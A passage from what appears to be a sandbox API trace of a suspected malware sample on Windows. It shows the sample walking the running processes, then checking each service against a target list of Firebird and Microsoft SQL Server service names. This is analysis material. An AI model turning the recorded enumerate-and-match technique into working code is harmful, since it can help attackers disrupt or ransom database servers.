th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.744] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.744] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0173.745] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0173.745] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0173.745] lstrlenW (lpString="movers-indication.exe") returned 21 [0173.745] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0173.746] lstrlenW (lpString="drama tv thee.exe") returned 17 [0173.746] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0173.747] lstrlenW (lpString="barriers.exe") returned 12 [0173.747] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0173.748] lstrlenW (lpString="shootclick.exe") returned 14 [0173.748] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0173.748] lstrlenW (lpString="nickel.exe") returned 10 [0173.748] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0173.749] lstrlenW (lpString="imperialopened.exe") returned 18 [0173.749] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0173.750] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0173.750] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0173.751] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0173.751] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0173.751] lstrlenW (lpString="perhapssentences.exe") returned 20 [0173.751] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.752] lstrlenW (lpString="svchost.exe") returned 11 [0173.752] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0173.753] lstrlenW (lpString="chrome64b.exe") returned 13 [0173.753] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0173.753] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0173.754] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.754] lstrlenW (lpString="conhost.exe") returned 11 [0173.754] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0173.755] lstrlenW (lpString="cmd.exe") returned 7 [0173.755] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.756] lstrlenW (lpString="conhost.exe") returned 11 [0173.756] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.756] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.756] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0173.757] CloseHandle (hObject=0x304) returned 1 [0173.757] Sleep (dwMilliseconds=0x1f4) [0174.309] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0174.310] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0174.310] GetLastError () returned 0xea [0174.310] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800d0 [0174.310] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800d0, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800d0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0174.311] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0174.311] lstrlenW (lpString="Appinfo") returned 7 [0174.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.311] lstrlenW (lpString="AppXSvc") returned 7 [0174.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0174.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0174.311] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0174.311] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0174.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0174.311] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.311] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.311] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.311] lstrlenW (lpString="Audiosrv") returned 8 [0174.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0174.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0174.312] lstrlenW (lpString="BFE") returned 3 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.312] lstrlenW (lpString="BITS") returned 4 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0174.312] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0174.312] lstrlenW (lpString="CDPSvc") returned 6 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0174.312] lstrlenW (lpString="ClickToRunSvc") returned 13 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.312] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0174.312] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0174.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0174.312] lstrlenW (lpString="ClipSVC") returned 7 [0174.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0174.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0174.313] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0174.313] lstrlenW (lpString="CryptSvc") returned 8 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.313] lstrlenW (lpString="DcomLaunch") returned 10 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.313] lstrlenW (lpString="DeviceAssociationService") returned 24 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0174.313] lstrlenW (lpString="Dhcp") returned 4 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.313] lstrlenW (lpString="Dnscache") returned 8 [0174.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.314] lstrlenW (lpString="DoSvc") returned 5 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0174.314] lstrlenW (lpString="DPS") returned 3 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.314] lstrlenW (lpString="DusmSvc") returned 7 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0174.314] lstrlenW (lpString="EventLog") returned 8 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0174.314] lstrlenW (lpString="EventSystem") returned 11 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.314] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.314] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.314] lstrlenW (lpString="FontCache") returned 9 [0174.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0174.315] lstrlenW (lpString="gpsvc") returned 5 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.315] lstrlenW (lpString="iphlpsvc") returned 8 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.315] lstrlenW (lpString="KeyIso") returned 6 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0174.315] lstrlenW (lpString="LanmanServer") returned 12 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.315] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.315] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.315] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.315] lstrlenW (lpString="lfsvc") returned 5 [0174.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0174.316] lstrlenW (lpString="LicenseManager") returned 14 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0174.316] lstrlenW (lpString="lmhosts") returned 7 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.316] lstrlenW (lpString="LSM") returned 3 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0174.316] lstrlenW (lpString="MpsSvc") returned 6 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.316] lstrlenW (lpString="NcbService") returned 10 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0174.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0174.316] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0174.316] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0174.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0174.316] lstrlenW (lpString="netprofm") returned 8 [0174.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.317] lstrlenW (lpString="NlaSvc") returned 6 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.317] lstrlenW (lpString="nsi") returned 3 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.317] lstrlenW (lpString="PcaSvc") returned 6 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.317] lstrlenW (lpString="PlugPlay") returned 8 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.317] lstrlenW (lpString="Power") returned 5 [0174.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.317] lstrcmpiW (lpString1="sqlserveradhelper", 